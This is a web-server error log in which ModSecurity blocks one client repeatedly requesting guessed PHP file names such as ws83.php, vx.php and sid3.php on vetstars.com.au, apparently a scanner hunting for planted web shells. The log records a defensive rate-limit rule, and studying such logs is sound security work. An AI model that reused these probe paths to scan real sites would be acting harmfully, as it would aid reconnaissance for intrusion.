[Fri Apr 10 23:54:52.546588 2026] [:error] [pid 62769:tid 62794] [client 20.251.194.172:56747] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adkdTMWsSnfLoB8ifjDaaAAAAlc"]
[Fri Apr 10 23:54:53.098511 2026] [:error] [pid 62769:tid 62792] [client 20.251.194.172:47063] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adkdTcWsSnfLoB8ifjDabwAAAlU"]
[Fri Apr 10 23:54:53.796521 2026] [:error] [pid 13189:tid 13209] [client 20.251.194.172:56705] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adkdTZAxiJKPums3eBAdPwAAAFE"]
[Fri Apr 10 23:54:54.687979 2026] [:error] [pid 13101:tid 13148] [client 20.251.194.172:37594] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adkdTt8Ldw85818pj2otcgAAAI8"]
[Fri Apr 10 23:54:55.281970 2026] [:error] [pid 63134:tid 63140] [client 20.251.194.172:25602] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "adkdT9FALqPDwWi6eJLSaAAAA8M"]
[Fri Apr 10 23:54:56.392312 2026] [:error] [pid 63134:tid 63143] [client 20.251.194.172:18300] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "adkdUNFALqPDwWi6eJLSagAAA8Y"]
[Fri Apr 10 23:54:58.155792 2026] [:error] [pid 62769:tid 62785] [client 20.251.194.172:47413] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "adkdUsWsSnfLoB8ifjDadwAAAk4"]
[Fri Apr 10 23:54:59.018742 2026] [:error] [pid 63062:tid 63072] [client 20.251.194.172:56770] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "adkdU52HtsmV85NqkMcYSgAAA4g"]
[Fri Apr 10 23:54:59.741479 2026] [:error] [pid 13101:tid 13139] [client 20.251.194.172:37627] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws75.php"] [unique_id "adkdU98Ldw85818pj2otdwAAAIY"]
[Fri Apr 10 23:55:00.412959 2026] [:error] [pid 62651:tid 62664] [client 20.251.194.172:56750] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws75.php"] [unique_id "adkdVDbAH0le57SIaqw94AAAAcs"]
[Fri Apr 10 23:55:01.652787 2026] [:error] [pid 62710:tid 62724] [client 20.251.194.172:36226] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws75.php"] [unique_id "adkdVeME7qrf5xEWWJtQ5QAAAgs"]
[Fri Apr 10 23:55:03.268993 2026] [:error] [pid 62651:tid 62672] [client 20.251.194.172:36281] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws75.php"] [unique_id "adkdVzbAH0le57SIaqw95QAAAdM"]
[Fri Apr 10 23:55:03.854959 2026] [:error] [pid 62651:tid 62656] [client 20.251.194.172:37576] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkdVzbAH0le57SIaqw96QAAAcM"]
[Fri Apr 10 23:55:04.761556 2026] [:error] [pid 62769:tid 62793] [client 20.251.194.172:25786] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkdWMWsSnfLoB8ifjDafwAAAlY"]
[Fri Apr 10 23:55:05.820209 2026] [:error] [pid 63134:tid 63143] [client 20.251.194.172:31986] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkdWdFALqPDwWi6eJLSfAAAA8Y"]
[Fri Apr 10 23:55:06.696439 2026] [:error] [pid 62884:tid 62906] [client 20.251.194.172:30347] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkdWuUCK1xrhnnmpo2fQAAAAs8"]
[Fri Apr 10 23:55:07.595892 2026] [:error] [pid 13189:tid 13195] [client 20.251.194.172:31941] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "adkdW5AxiJKPums3eBAdYgAAAEM"]
[Fri Apr 10 23:55:08.397687 2026] [:error] [pid 62819:tid 62831] [client 20.251.194.172:31948] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "adkdXPU20EyPf7NlsleLGAAAAok"]
[Fri Apr 10 23:55:09.173107 2026] [:error] [pid 13189:tid 13198] [client 20.251.194.172:18268] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "adkdXZAxiJKPums3eBAdcgAAAEY"]
[Fri Apr 10 23:55:10.108822 2026] [:error] [pid 13101:tid 13141] [client 20.251.194.172:46838] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "adkdXt8Ldw85818pj2otiQAAAIg"]
[Fri Apr 10 23:55:11.814632 2026] [:error] [pid 13101:tid 13154] [client 20.251.194.172:25742] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "adkdX98Ldw85818pj2otmAAAAJU"]
[Fri Apr 10 23:55:12.475590 2026] [:error] [pid 13101:tid 13148] [client 20.251.194.172:47099] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "adkdYN8Ldw85818pj2otogAAAI8"]
[Fri Apr 10 23:55:13.937437 2026] [:error] [pid 13101:tid 13146] [client 20.251.194.172:18027] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "adkdYd8Ldw85818pj2otrAAAAI0"]
[Fri Apr 10 23:55:15.293831 2026] [:error] [pid 62710:tid 62730] [client 20.251.194.172:30345] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "adkdY-ME7qrf5xEWWJtQ-AAAAhE"]
[Fri Apr 10 23:55:16.029651 2026] [:error] [pid 62819:tid 62838] [client 20.251.194.172:56766] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adkdZPU20EyPf7NlsleLIQAAApA"]
[Fri Apr 10 23:55:18.004683 2026] [:error] [pid 62710:tid 62720] [client 20.251.194.172:25765] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adkdZuME7qrf5xEWWJtQ-gAAAgc"]
[Fri Apr 10 23:55:18.620282 2026] [:error] [pid 63134:tid 63156] [client 20.251.194.172:36231] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adkdZtFALqPDwWi6eJLSlQAAA9M"]
[Fri Apr 10 23:55:19.298359 2026] [:error] [pid 62769:tid 62786] [client 20.251.194.172:56817] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adkdZ8WsSnfLoB8ifjDangAAAk8"]
[Fri Apr 10 23:55:19.936053 2026] [:error] [pid 62819:tid 62824] [client 20.251.194.172:46819] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "adkdZ_U20EyPf7NlsleLMgAAAoI"]
[Fri Apr 10 23:55:20.458320 2026] [:error] [pid 62769:tid 62791] [client 20.251.194.172:37629] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "adkdaMWsSnfLoB8ifjDaogAAAlQ"]
[Fri Apr 10 23:55:21.059017 2026] [:error] [pid 63062:tid 63084] [client 20.251.194.172:46816] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "adkdaZ2HtsmV85NqkMcYcgAAA5Q"]
[Fri Apr 10 23:55:22.254574 2026] [:error] [pid 63134:tid 63146] [client 20.251.194.172:47103] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "adkdatFALqPDwWi6eJLSnQAAA8k"]
[Fri Apr 10 23:55:22.858374 2026] [:error] [pid 13101:tid 13139] [client 20.251.194.172:47084] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "adkdat8Ldw85818pj2otuQAAAIY"]
[Fri Apr 10 23:55:23.441048 2026] [:error] [pid 13101:tid 13137] [client 20.251.194.172:47046] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "adkda98Ldw85818pj2otvAAAAIQ"]
[Fri Apr 10 23:55:24.004893 2026] [:error] [pid 13101:tid 13154] [client 20.251.194.172:25769] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "adkdbN8Ldw85818pj2otvwAAAJU"]
[Fri Apr 10 23:55:24.655622 2026] [:error] [pid 13101:tid 13151] [client 20.251.194.172:36284] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "adkdbN8Ldw85818pj2otxgAAAJI"]
[Fri Apr 10 23:55:25.211442 2026] [:error] [pid 62819:tid 62836] [client 20.251.194.172:31985] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "adkdbfU20EyPf7NlsleLRwAAAo4"]
[Fri Apr 10 23:55:25.730972 2026] [:error] [pid 62819:tid 62826] [client 20.251.194.172:47102] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "adkdbfU20EyPf7NlsleLTAAAAoQ"]
[Fri Apr 10 23:55:26.277829 2026] [:error] [pid 13100:tid 13124] [client 20.251.194.172:25613] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "adkdblzg-ZkZ0InWIP3WLQAAARM"]
[Fri Apr 10 23:55:26.836988 2026] [:error] [pid 13189:tid 13209] [client 20.251.194.172:47100] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "adkdbpAxiJKPums3eBAdhwAAAFE"]
[Fri Apr 10 23:55:27.434149 2026] [:error] [pid 62769:tid 62772] [client 20.251.194.172:30363] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adkdb8WsSnfLoB8ifjDasgAAAkE"]
[Fri Apr 10 23:55:28.037882 2026] [:error] [pid 62884:tid 62897] [client 20.251.194.172:31978] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adkdcOUCK1xrhnnmpo2fUwAAAsY"]
[Fri Apr 10 23:55:28.593026 2026] [:error] [pid 62884:tid 62901] [client 20.251.194.172:36250] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adkdcOUCK1xrhnnmpo2fVAAAAso"]
[Fri Apr 10 23:55:29.147202 2026] [:error] [pid 62769:tid 62784] [client 20.251.194.172:46813] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adkdccWsSnfLoB8ifjDatAAAAk0"]
[Fri Apr 10 23:55:32.697852 2026] [:error] [pid 62884:tid 62914] [client 20.251.194.172:18035] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "adkddOUCK1xrhnnmpo2fWgAAAtc"]
[Fri Apr 10 23:55:33.423480 2026] [:error] [pid 62769:tid 62774] [client 20.251.194.172:25752] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "adkddcWsSnfLoB8ifjDaugAAAkM"]
[Fri Apr 10 23:55:34.062386 2026] [:error] [pid 62769:tid 62794] [client 20.251.194.172:63894] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "adkddsWsSnfLoB8ifjDavAAAAlc"]
[Fri Apr 10 23:56:29.211515 2026] [:error] [pid 62769:tid 62784] [client 20.251.194.172:18270] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "adkdrcWsSnfLoB8ifjDb3wAAAk0"]
[Fri Apr 10 23:56:29.756445 2026] [:error] [pid 13189:tid 13212] [client 20.251.194.172:36236] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "adkdrZAxiJKPums3eBAeMQAAAFQ"]
[Fri Apr 10 23:56:30.372444 2026] [:error] [pid 13101:tid 13153] [client 20.251.194.172:56778] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "adkdrt8Ldw85818pj2ouHAAAAJQ"]
[Fri Apr 10 23:56:31.119429 2026] [:error] [pid 62769:tid 62782] [client 20.251.194.172:31996] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "adkdr8WsSnfLoB8ifjDb7wAAAks"]
[Fri Apr 10 23:56:31.950892 2026] [:error] [pid 62651:tid 62674] [client 20.251.194.172:56704] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "adkdrzbAH0le57SIaqw-HgAAAdU"]
[Fri Apr 10 23:56:32.663109 2026] [:error] [pid 62710:tid 62729] [client 20.251.194.172:30385] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "adkdsOME7qrf5xEWWJtRXwAAAhA"]
[Fri Apr 10 23:56:33.375585 2026] [:error] [pid 62819:tid 62831] [client 20.251.194.172:56813] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "adkdsfU20EyPf7NlsleLegAAAok"]
[Fri Apr 10 23:56:34.262561 2026] [:error] [pid 13189:tid 13212] [client 20.251.194.172:47051] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "adkdspAxiJKPums3eBAeOwAAAFQ"]
[Fri Apr 10 23:56:34.837304 2026] [:error] [pid 13101:tid 13156] [client 20.251.194.172:30362] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adkdst8Ldw85818pj2ouKAAAAJc"]
[Fri Apr 10 23:56:35.478392 2026] [:error] [pid 62819:tid 62822] [client 20.251.194.172:31982] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adkds_U20EyPf7NlsleLewAAAoA"]
